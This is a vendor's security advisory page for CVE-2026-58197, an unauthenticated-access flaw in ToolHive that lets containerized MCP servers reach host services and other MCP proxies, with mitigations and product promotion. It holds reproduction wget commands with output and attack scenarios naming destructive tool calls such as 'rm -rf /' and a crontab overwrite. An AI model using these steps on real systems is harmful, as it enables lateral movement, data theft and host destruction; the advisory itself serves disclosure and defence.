CVE-2026-58197

CVE-2026-58197 is a high-severity missing authentication for critical function vulnerability in github.com/stacklok/toolhive (go), affecting versions < 0.30.1. It is fixed in 0.30.1.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

ToolHive: containerized MCP servers can reach host services via host.docker.internal, enabling lateral movement

A containerized MCP server running with the default network permission profile (insecure_allow_all: true) can reach host-local services via host.docker.internal. This includes the ToolHive API itself, other ToolHive-managed MCP server proxies, and any other service listening on the host's localhost. Combined with the unauthenticated ToolHive API and MCP proxy endpoints, this enables a compromised or malicious MCP server to perform lateral movement without any container escape.

Severity

High, This bypasses the container isolation model that is ToolHive's core security value proposition.

Reproduction

All tests performed from inside the filesystem MCP container (docker.io/mcp/filesystem:latest), started with default settings via thv run filesystem -- /tmp.

1. Container can reach the ToolHive control plane MCP endpoint

$ docker exec <container_id> wget -qO- \
  --header="Content-Type: application/json" \
  --header="Accept: application/json" \
  --post-data='{"jsonrpc":"2.0","method":"initialize","params":{"protocolVersion":"2025-03-26","capabilities":{},"clientInfo":{"name":"evil-mcp","version":"1.0"}},"id":1}' \
  http://host.docker.internal:50444/mcp

Result: Full MCP handshake succeeds:

{"jsonrpc":"2.0","id":1,"result":{"protocolVersion":"2025-03-26","capabilities":{"logging":{},"tools":{}},"serverInfo":{"name":"toolhive-mcp","version":"v0.9.3"}}}

2. Container can connect to another MCP server's proxy and call its tools

$ docker exec <container_id> wget -qO- \
  --header="Content-Type: application/json" \
  --header="Accept: application/json" \
  --post-data='{"jsonrpc":"2.0","method":"tools/list","params":{},"id":2}' \
  http://host.docker.internal:64965/mcp

Result: Returns the full tool list of the target MCP server (read_file, write_file, edit_file, move_file, etc.), and tools can be called:

{"jsonrpc":"2.0","id":3,"result":{"content":[{"text":"Allowed directories:\n/tmp","type":"text"}]}}

3. Container can reach other host services

# Kubernetes API
$ docker exec <container_id> wget -qO- --no-check-certificate https://host.docker.internal:6443/version
{"major":"1","minor":"34","gitVersion":"v1.34.1"...}

# Ollama LLM API
$ docker exec <container_id> wget -qO- http://host.docker.internal:11434/api/tags
{"models":[{"name":"kimi-k2:1t-cloud"...}]}

Attack Scenarios

Scenario 1: Malicious MCP server pivots to privileged native MCP tools

Many users run native (non-containerized) MCP servers like Desktop Commander, terminal servers, or custom tools that have execute_command, write_file, or shell capabilities with full host access. These typically listen on localhost ports. A malicious containerized MCP server can:

  1. Port-scan host.docker.internal to discover listening services
  2. Attempt MCP handshakes on discovered ports
  3. Call privileged tools (e.g., execute_command("rm -rf /") or write_file("/etc/crontab", "..."))

This achieves full host compromise without any container escape vulnerability.

Scenario 2: Compromised MCP server manipulates ToolHive itself

Via the unauthenticated ToolHive MCP endpoint on port 50444, a compromised container could potentially:

  • List and stop other running MCP servers (denial of service)
  • Start new MCP servers with attacker-controlled images
  • Modify configurations

Scenario 3: Data exfiltration via cross-MCP-server access

A low-privilege MCP server (e.g., sequentialthinking with no file mounts) could reach the filesystem server's proxy and call read_file to access files it was never authorized to see.

Scenario 4: LLM model theft / abuse

As demonstrated, the container can reach Ollama's API and could enumerate models, run inference, or exfiltrate model weights from self-hosted LLMs.

Root Causes

  1. insecure_allow_all: true as default, permits outbound connections to any destination including host.docker.internal
  2. No authentication on ToolHive API / MCP proxies, any client that can reach the port can interact fully
  3. Docker's host.docker.internal DNS, resolves to the host machine, bypassing localhost-only binding assumptions

Suggested Mitigations

Short-term

  • Block host.docker.internal and 172.17.0.1 (Docker gateway) in container networking by default, even when insecure_allow_all is enabled. These should require explicit opt-in.
  • Add authentication to MCP proxy endpoints, even a shared secret or token per session would prevent cross-container lateral movement.

Medium-term

  • Network policy per container, ToolHive already has the permission_profile infrastructure. Add support for explicit allow-lists rather than just the binary none/all choice.
  • Isolate container networks, run each MCP server in its own Docker network with no access to the Docker bridge gateway.

Long-term

  • Mutual TLS or token-based auth between ToolHive proxy and containers, so even if network access exists, unauthorized MCP calls are rejected.
  • Audit logging, log all MCP tool calls with source identification so lateral movement attempts are visible.

Environment

  • ToolHive v0.9.3 (macOS desktop app, Docker runtime)
  • Docker Desktop for Mac (host.docker.internal enabled by default)
  • Tested with docker.io/mcp/filesystem:latest

Impact

A critical operation is accessible without requiring any authentication. Typical impact: any user can invoke the privileged function.

CVE-2026-58197 has a CVSS score of 8.8 (High). The vector is reachable from an adjacent network, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.30.1); upgrading removes the vulnerable code path.

Affected versions

github.com/stacklok/toolhive (< 0.30.1)

Security releases

github.com/stacklok/toolhive → 0.30.1 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade github.com/stacklok/toolhive to 0.30.1 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-58197? CVE-2026-58197 is a high-severity missing authentication for critical function vulnerability in github.com/stacklok/toolhive (go), affecting versions < 0.30.1. It is fixed in 0.30.1. A critical operation is accessible without requiring any authentication.
  2. How severe is CVE-2026-58197? CVE-2026-58197 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/stacklok/toolhive are affected by CVE-2026-58197? github.com/stacklok/toolhive (go) versions < 0.30.1 is affected.
  4. Is there a fix for CVE-2026-58197? Yes. CVE-2026-58197 is fixed in 0.30.1. Upgrade to this version or later.
  5. Is CVE-2026-58197 exploitable, and should I be worried? Whether CVE-2026-58197 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-58197 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-58197? Upgrade github.com/stacklok/toolhive to 0.30.1 or later.

Other vulnerabilities in github.com/stacklok/toolhive

Stop the waste.
Protect your environment with Kodem.